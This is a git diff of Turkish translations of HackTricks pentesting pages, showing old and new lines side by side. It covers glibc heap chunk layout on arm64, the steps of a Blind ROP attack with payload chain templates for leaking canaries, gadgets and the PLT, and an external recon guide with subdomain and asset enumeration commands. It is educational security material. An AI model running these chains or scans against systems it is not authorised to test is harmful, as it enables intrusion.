[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden alınan hızlı yığın örneği ama arm64 üzerinde:
Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden ama arm64'te:
```c
#include <stdio.h>
#include <stdlib.h>
@ -408,13 +408,13 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede saklandığını bulalım:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
String panda'nın `0xaaaaaaac12a0` adresinde saklandığını görebiliriz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliriz.
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliriz.
Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
Rezerve edilen ekstra alan (0x21-0x10=0x11), **eklenen başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16 byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -470,11 +470,11 @@ return 0;
Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldıktan sonra, yeni bir arena oluşturulur:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ve içinde bazı parçalar bulunabilir:

View file

@ -25,32 +25,32 @@ Bu saldırı aşağıdaki senaryoya dayanmaktadır:
## Saldırı
### **1. Hedeflenen ofseti bulma** sunucu arızası tespit edilene kadar bir karakter daha göndererek
### **1. Hatalı sunucu tespit edilene kadar bir karakter daha göndererek savunmasız ofseti bulma**
### **2. Canary'yi brute-force** ile sızdırma
### **2. Canary'yi brute-force ile sızdırma**
### **3. Yığın içindeki saklanan RBP ve RIP** adreslerini brute-force ile sızdırma
### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force ile sızdırma**
Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Yığın Adresleri)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Durdurma gadget'ını bulma**
Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığını doğrulamayı sağlar çünkü yürütme çökmez. Genellikle, bu gadget **yürütmeyi durduracak** bir şeydir ve belirli bir ROP gadget'ının çalıştırıldığını doğrulamak için ROP zincirinin sonunda yer alır.
Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığını doğrulamayı sağlar çünkü yürütme çökmez. Genellikle, bu gadget **yürütmeyi durduran** bir şey olacak ve belirli bir ROP gadget'ının çalıştırıldığını doğrulamak için ROP zincirinin sonunda yer alacaktır.
### **5. BROP gadget'ını bulma**
Bu teknik, [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
Bu teknik, [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bazı talimatların ortasında bu gadget'a erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Bunlar gadget'lar olacaktır:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Bu gadget'lar ile bir fonksiyonu çağırmak için **2 argümanı kontrol etmenin** mümkün olduğunu unutmayın.
Bu gadget'lar ile bir fonksiyon çağrısının **2 argümanını kontrol etmenin** mümkün olduğunu unutmayın.
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir gönderilir:
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir göndererek:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
@ -60,11 +60,11 @@ Bu son seçeneği **kaldırmak için** aşağıdaki gibi yeni bir zincir çalı
`'A' * offset + canary + rbp + ADDR`
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol etmek için gadget'ların adresini çıkarmak** mümkündür.
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol eden gadget'ların adresini çıkarmak** mümkündür.
### 6. PLT'yi bulma
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile ayrılmıştır ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk yürütülen koddur.
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile **ayrılmıştır** ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** de çökmez çünkü bu ilk yürütülen koddur.
Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mümkündür:
@ -83,7 +83,7 @@ Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mü
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme yok
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıdır) çağırmayı ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemeyi içerir:
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
@ -106,7 +106,7 @@ Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutma
### 8. Write veya eşdeğerini bulma
Son olarak, ikiliyi sızdırmak için verileri dışarı aktaran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliyor ve `rdx`'yi 0'dan büyük ayarlayabiliyoruz.**
Son olarak, ikiliyi sızdırmak için verileri dışarı sızdıran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliriz ve `rdx`'yi 0'dan büyük ayarlayabiliriz.**
Bunun için kötüye kullanılabilecek 3 yaygın fonksiyon vardır:
@ -116,7 +116,7 @@ Bunun için kötüye kullanılabilecek 3 yaygın fonksiyon vardır:
Ancak, orijinal makalede yalnızca **`write`**'den bahsedilmektedir, bu nedenle bunun hakkında konuşalım:
Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememiz ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememizdir ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** dayanarak write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve bazı bağlantılarımızla eşleşmesini umarak **yüksek bir FD** kullanabiliriz.

View file

@ -1,23 +1,23 @@
# External Recon Methodology
# Dış Recon Metodolojisi
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -35,7 +35,7 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
### **Satın Almalar**
Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" sekmesine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımıza bakalım.
@ -43,17 +43,17 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **
### **ASNs**
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** bulmak ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **güvenlik testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de arama yapabilirsiniz.**\
**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Yine de, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **güvenlik testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
[**https://bgp.he.net/**](https://bgp.he.net)** adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\
**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları belirlemesi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları sayımı, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -83,9 +83,9 @@ Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-f
> Kapsam içindeki tüm şirketleri ve varlıklarını biliyoruz, şimdi kapsam içindeki alan adlarını bulma zamanı.
_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._
_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin küçümsenmemesi gerektiğini unutmayın._
Öncelikle her şirketin **ana alan adı**(larını) aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
### **Ters DNS**
@ -107,7 +107,7 @@ You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API yok.
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama)
* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil
@ -139,9 +139,9 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - aynı favicon simgesi hash'ine sahip alanları keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Kısaca, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
Kısacası, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir versiyonunun **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -169,58 +169,58 @@ Bir cron job'a sahip olmak yaygındır.
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **aynı şirkete ait alan adlarını sertifika şeffaflık kayıtlarında bulmak**.\
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Mail DMARC information
### Mail DMARC bilgileri
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **aynı dmarc bilgilerini paylaşan alan adları ve alt alan adları**.
### **Passive Takeover**
### **Pasif Ele Geçirme**
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **o IP adresini kaybetmek ama DNS kaydını silmeyi unutmak**. Therefore, just **bir VM oluşturmak** in a cloud (like Digital Ocean) you will be actually **bazı alt alan adlarını ele geçirmiş olacaksınız**.
Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (Digital Ocean gibi) aslında **bazı alt alan adlarını ele geçireceksiniz**.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **DigitalOcean'da bir VM oluşturur**, **yeni makinenin** **IPv4'ünü alır** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arar**.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan** bir script öneriyor.
### **Other ways**
### **Diğer yollar**
**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
**Shodan**
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Zaten IP alanına sahip olan kuruluşun adını biliyorsunuz. Bu veriyi shodan'da aramak için kullanabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) is a tool that look for **ana alan adı ile ilişkili alan adları** ve **onların alt alan adları**, pretty amazing.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana bir alan adı ile ilişkili **alan adlarını** ve **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
### **Looking for vulnerabilities**
### **Zafiyet arama**
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Just register it (if cheap enough) and let know the company.
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
If you find any **alan adı farklı bir IP ile** bulduğunuz varlık keşfindeki IP'lerden, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\
_Domain'in, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **Intigriti'ye kaydolun**, **hackers tarafından, hackers için oluşturulmuş bir premium bug bounty platformu**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomains
## Alt Alan Adları
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
> Kapsamdaki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
It's time to find all the possible subdomains of each found domain.
Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı.
{% hint style="success" %}
Bazı araçların ve tekniklerin alan adlarını bulmak için kullanılabileceğini unutmayın, aynı zamanda alt alan adlarını bulmaya da yardımcı olabilir!
Alan adlarını bulmak için bazı araçların ve tekniklerin alt alan adlarını bulmaya da yardımcı olabileceğini unutmayın!
{% endhint %}
### **DNS**
Let's try to get **alt alan adlarını** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz).
```bash
dnsrecon -a -d tesla.com
```
@ -275,9 +275,9 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Diğer **ilginç araçlar/API'ler** doğrudan alt alan bulmaya özel olmasalar da alt alanları bulmak için faydalı olabilir, örneğin:
Diğer **ilginç araçlar/API'ler** doğrudan alt alan adlarını bulmaya özel olmasalar da alt alan adlarını bulmak için faydalı olabilir, örneğin:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alanları elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -307,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
* [**gau**](https://github.com/lc/gau)**:** Belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'den JS dosyalarını arayıp buradan alt alan adlarını çıkarırlar.
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını ararlar ve buradan alt alan adlarını çıkarırlar.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -346,7 +346,7 @@ Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [h
### **DNS Kaba Kuvvet**
Yeni **alt alanları** bulmak için olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle deneyelim.
Olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle yeni **alt alanlar** bulmaya çalışalım.
Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olacak:
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını listelemenizi sağlayan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır; ayrıca alt alan adlarını joker karakter desteği ile çözümleme ve kolay girdi-çıktı desteği sunar.
